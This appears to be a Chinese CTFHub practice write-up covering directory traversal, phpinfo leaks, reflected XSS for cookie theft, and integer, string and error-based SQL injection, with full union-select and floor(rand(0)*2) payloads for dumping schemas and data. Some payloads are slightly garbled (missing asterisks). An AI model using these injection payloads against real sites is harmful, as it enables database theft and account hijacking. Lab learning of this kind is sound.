CTFHUB做题记录
信息泄露
题目一:目录遍历: 题目中出现了四个目录,根据题目提示,点击目录就能获得flag,所以一个一个目录点开,还是没有找到时,继续点击链接第二次进入目录,一步一步点开,根据目录下的内容,就可以获得flag
题目二:phpinfo phpinfo是php内置函数,用于以网页的形式输出php的具体配置信息,并不存在于某个文件夹中。 用法:bool phpinfo([ int $what=INFO_ALL]) 输出php当前状态的大量信息,包含有php编译选项,启用的扩展,php版本,服务器信息和编译环境,PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)。 phpinfo()常用于系统上检查配置设置和于定义变量 本题中在phpinfo中的环境里可以寻找了到flag
XSS
题目一:反射型 XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。 能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话 练习: 了解到: 我们一般用xss的一般用途是为了获取cookie(相当于别人的凭证)获取到别人的cookie之后,不需要输入密码直接登陆即可。 他的题目就是为了获取别人cookie,从而在信息中找到flag Send URL to Bot :的意思就是获取机器人的信息,模拟别人点击这个包含xss的链接的情形。
sql注入
是指服务器未严格校验客户端发送过来的数据,而导致服务端sql语句呗恶意的修改并成功执行的行为
原因: 代码对带sql语句的sql过滤不严格 未启用框架的安全配置 php的magic_quotes_gpc 未使用框架完全的查询方法 测试接口未删除 未启用防火墙 未使用其他的安全防护设备
漏洞的危害:(任何和数据库交互的地方都有注入) 数据库信息被泄露,网页被篡改 网站被挂马,传播恶意软件 服务器被远程控制被安装后门。
整型注入: 判断是否有注入(判断是否有严格校验) 1,可控参数的改变能否影响页面的结果 2,输入的sql语句时候能够报错,你通过数据库的报错,看到数据库的一些语句痕迹(select username,password from user where id=’?’#’ limit 0,1) 3,输入的sql语句能否不报错,我们的语句能够成功闭合 什么类型的注入 语句是否被恶意修改(where id=1 and 0(为假)) 是否能够成功执行 获取我们想要的数据 所有的内容包含在数据库中表里的某个字段的值 mysql有自带的表(mysql,information_schema) 由table_schema查找表table_name再查找表里的column_name某个字段 查询当前数据库名 id=4 union select 1,database()
题目一:整形注入: 判断是否注入: 输入id=1或者id=1’或者id=1 and 2 查看是否报错 输入id=1 order by 1((查询字段数量,根据数字分布列数,上一个数可以执行,在下一个的一个执行时出现错误,这数值为中间那个,采用二分法)
查询sql插入位置:输入id=1 union select1,2… 获取数据库名:把2位置分别修改为database(),version() (版本号) 获取所有数据库名:id=-1 union select 1,group_concat(schema_name)from information_schema.schemata 逐条获取数据库名:select schema_name from information_schema.schemata limit 0,1;
获取数据库所有表名id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’ 逐条获取数据库表名:select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1;
获取所有字段名;id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ 获取一个字段名(以flag为例子)id=-1 union select 1,(select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1)
获取所有数据:id=-1 union select 1,group_concat(flag) from sqli.flag 获取一条数据:
题目二:字符型注入: 格式为1’ union select 1,2 – ’ 例如获取一条数据:id=’ union select 1,group_concat(flag) from sqli.flag – ’
题目三: 报错注入:报错注入的原理在于三个函数:count(*),rand(),floor()以及group by .floor()函数向下取整,去掉小数部分 .rand()是随机取(0,1)中的一个数,但是给它一个参数后0,rand(0),并且传给floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110报错的时候会把数据库名给爆出来。
原理:group by 查询时,先建立一个空表,用来临时存储数据, 开始查询,group by x(建立的一个别名),序列一开始为0,临时空表里不存在就填入,之后 select 中也有rand(),值为1,插入1; 查询第二条,值为1,原有值加1 查第三条,值为0,则插入select的值,为1,与原有值冲突报错 0x26==&; 第一步(获取数据库名):1 Union select count(*),concat(database(),0x26,floor(rand(0)2))x from information_schema.columns group by x; 第二步:(获取表名)(把database()改为):1 Union select count(),concat((select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1),0x26,floor(rand(0)2))x from information_schema.columns group by x 第三步:获取字段:1 Union select count(),concat((select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1),0x26,floor(rand(0)2))x from information_schema.columns group by x 第四步,获取数据:1 Union select count(),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
|